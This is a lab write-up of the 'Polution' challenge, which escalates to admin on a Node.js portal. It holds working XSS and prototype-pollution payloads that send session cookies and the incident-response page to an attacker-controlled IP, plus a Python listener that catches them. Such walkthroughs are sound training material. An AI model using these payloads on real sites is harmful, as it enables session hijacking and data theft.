> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/polution.md).

# Polution

{% embed url="<https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

#### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

You are a member of the Hack Smarter Red Team and your organization is beginning to roll out a managed SOC service. You've been provided access to a staging version of the web app before it's pushed to production.

The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator?

```
pentester:HackSmarter123
```

## Summary

<details>

<summary>Summary</summary>

In Polution we assess a Node.js-based internal portal using low-privileged credentials and discover accessible endpoints, including a webmail feature used to contact administrators. Through crafted input in the message field, we identify client-side injection and confirm arbitrary script execution when messages are reviewed. Building on this, we exploit a Prototype Pollution vulnerability, abusing JavaScript's inheritance model to modify core object properties. We chain it with a payload that exfiltrates the administrator's session cookies. Using the stolen session, we escalate privileges to the admin role and access the restricted incident response page, demonstrating the risk of insecure object handling and improper client-side input sanitization in JavaScript applications.

</details>

## Recon

We use rustscan `-b 500 -a 10.1.42.179 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.42.179 -- -sC -sV -Pn
```

<figure><img src="/files/GD5MhYZJaTdMTYPpBc0Z" alt=""><figcaption></figcaption></figure>

On Port `3000` we have a Nodejs server running.

<figure><img src="/files/vLnxADXO1ASygAePPn5V" alt=""><figcaption></figcaption></figure>

When we visit the index page we are greeted by a internal portal login.&#x20;

<figure><img src="/files/cPQSnque8tFaSsi9M5CG" alt=""><figcaption></figcaption></figure>

We try to enumerate the directories and pages using Feroxbuster and find the `/api/mail` endpoint and `/dashboard` endpoint to be reachable.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://polution.hsm:3000
```

{% endcode %}

<figure><img src="/files/xz7repk5GTRq4S1xfFo3" alt=""><figcaption></figcaption></figure>

Without credentials we are able to access the dashboard including the webmail endpoint to send our messages to the admin.&#x20;

<figure><img src="/files/1aD4rQLSDYBeW231ykGL" alt=""><figcaption></figcaption></figure>

But for now we follow the scenario and log in as `pentester`. We face the same dashboard.

```
pentester:HackSmarter123
```

<figure><img src="/files/Is9Y8506VSnAE7xLHP5y" alt=""><figcaption></figcaption></figure>

If we try to access the incident response page we get a `403` like in our unauthenticated FeroxBuster scan.

<figure><img src="/files/tMPcSiK75CTkG4IUScw3" alt=""><figcaption></figcaption></figure>

The session cookie appears to be a very simple one with setting the username. Chaning this won't give us a session as an admin, but the username gets reflected on the page.

<figure><img src="/files/YW6mOaJNU6R4Q0wSC0Xr" alt=""><figcaption></figcaption></figure>

When we click on `Webmail` we gain access to the internal messenger, and we are able to send messages to the `admin` user.&#x20;

<figure><img src="/files/WOvt6yZhCSUQPDaHhocL" alt=""><figcaption></figcaption></figure>

## Access as Admin

We try some simple XSS payloads to determine which field might be injetable if the admin reviews the messages.&#x20;

```
<img src=x onerror="this.src='http://10.200.27.71/subject'"/>
```

```
<img src=x onerror="this.src='http://10.200.27.71/message'"/>
```

<figure><img src="/files/tC9PerEPu6ZQoaFhTTMr" alt=""><figcaption></figcaption></figure>

We send the message...

<figure><img src="/files/FgBKRySlgsIRpBjVXL8J" alt=""><figcaption></figcaption></figure>

... run a python web server. We receive a connection to our web server. The `Message` field is injectable.

```
python -m http.server 80
```

<figure><img src="/files/cE7hWUkIF4wg3WdwKiUc" alt=""><figcaption></figcaption></figure>

If we try to steal the session cookies with a simple payload like the following...

```
<img src=x onerror="this.src='http://10.200.27.71/message?c='+document.cookie"/>
```

<figure><img src="/files/MU47bNDq7l1BChuKop4N" alt=""><figcaption></figcaption></figure>

... we receive a connection, but the cookie value does not get resolved.

<figure><img src="/files/upfSnH1jUdFaZmYmKWtT" alt=""><figcaption></figcaption></figure>

Since we know that we are dealing with a Nodejs server and the challenge is called `Polution`, we could also be dealing with a Prototype Polution vulnerability and need exploit it to obtain a session as admin.

**Prototype pollution** is a vulnerability where we can modify properties on JavaScript’s base object prototypes by injecting special keys like

* `__proto__`
* `constructor.prototype`
* `prototype`

Because all JavaScript objects inherit from these prototypes, polluting them affects the behavior of every object in the application.

Or in other words: we poison the “template” that all objects are created from.

To test for Prototype Polution vulnerabilities we make use of the BurpSuite browser and the BurpSuite addon and enable the DOM Invader plugin.

<figure><img src="/files/Gh5MFSBq0YsgHYESTN4N" alt=""><figcaption></figcaption></figure>

We also need to enable the attack type `prototype polution`.

<figure><img src="/files/TPEcZ80qj42OAuiFvFEQ" alt=""><figcaption></figcaption></figure>

Via `More Tools -> Developer Tools -> DOM Invader` we can scan now for gadgets.&#x20;

<figure><img src="/files/QGzlxZ399SJGsH8YHls2" alt=""><figcaption></figcaption></figure>

A new tab is opened and after the scan we can inspect the DOMInvader tab again.

<figure><img src="/files/gkC2PAAbFTmhUlLQjESO" alt=""><figcaption></figcaption></figure>

We find a vulnerable gadget and can run `exploit`.

<figure><img src="/files/swEapPQvKlI8lTdLzGQ3" alt=""><figcaption></figcaption></figure>

It opens us an a link which does not successfully resolve the injected javascript:

{% code overflow="wrap" %}

```
http://10.1.42.179:3000/dashboard#__proto__.renderCallback=%22%27%3E%3Cimg+src+onerror%3Dalert%281%29%3E
```

{% endcode %}

<figure><img src="/files/FvL89onrCqfyPxFtiLKf" alt=""><figcaption></figcaption></figure>

We make a slight correction and remove the closing brackets. We receive an `alert`.

{% code overflow="wrap" %}

```
http://10.1.42.179:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>
```

{% endcode %}

<figure><img src="/files/jdNBOCZoGoocX7gmAzVe" alt=""><figcaption></figcaption></figure>

Now that we have a working payload, we try to alter it to retrieve the sessions cookies of the user opening the link.

```
<script>
fetch('https://10.200.27.71', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```

We set up a simple HTTP server with Python that will print the POST body (containing the cookie) in our console.

{% code title="server.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):

        content_length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(content_length)

        print("Received POST body:")
        print(body.decode(errors="ignore"))

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

def run(server_class=HTTPServer, handler_class=RequestHandler, port=80):
    server_address = ("", port)
    httpd = server_class(server_address, handler_class)
    print(f"Listening on port {port}...")
    httpd.serve_forever()

if __name__ == "__main__":
    run()
```

{% endcode %}

Next, we will put the suggested prototype polution payload and our fetching payload together and request the link on our own.&#x20;

{% code overflow="wrap" %}

```
http://10.1.42.179:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.27.71', {method: 'POST',mode: 'no-cors',body:document.cookie});"/>
```

{% endcode %}

<figure><img src="/files/HVfpU5xWrrPXW4or6Ofp" alt=""><figcaption></figcaption></figure>

We see we are able to retrieve our own session.

<figure><img src="/files/2HahDxmifGEZ2xbnCjOF" alt=""><figcaption></figcaption></figure>

Next, we send the link to the admin, if the admin clicks the link we should receive the used session cookies.

<figure><img src="/files/O3T50UeRlHq9kFLqtHkD" alt=""><figcaption></figcaption></figure>

Afer a short duration we receive a response with two cookies.&#x20;

<figure><img src="/files/V85cZVBEhiZByEdmuzeJ" alt=""><figcaption></figcaption></figure>

We add them in our browser...

<figure><img src="/files/vgMpbUvzY4dbwgN7GeEe" alt=""><figcaption></figcaption></figure>

... and reload the page. We are now `admin` and are allowed to open the incident response page.

```
http://10.1.42.179:3000/incident-response
```

<figure><img src="/files/49DJ6DKwN3DeufXA2C4L" alt=""><figcaption></figcaption></figure>

## Alternative: Retrieving /incident-response by Admin

If the cookie would have been properly secured we would still be able to retrieve the incident response page with the following payload.

```javascript
<img src=x onerror="
fetch('/incident-response')
  .then(r => r.text())
  .then(d => fetch('http://10.200.27.71/IR_LEAK', {
    method: 'POST',
    mode: 'no-cors',
    body: d
  }));
">
```

We replace the cookie fetching payload with the content fetching payload and send the link to the admin user.

{% code overflow="wrap" %}

```
http://10.1.42.179:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('/incident-response').then(r=>r.text()).then(d=>fetch('http://10.200.27.71/IR_LEAK',{method:'POST',mode:'no-cors',body:d}));">
```

{% endcode %}

<figure><img src="/files/cbzdVX6vHtswCW4S5iKu" alt=""><figcaption></figcaption></figure>

After a short duration we receive the contents of the page including the flag.

<figure><img src="/files/IFqnbtx84MMrmFFCZsWZ" alt=""><figcaption></figcaption></figure>
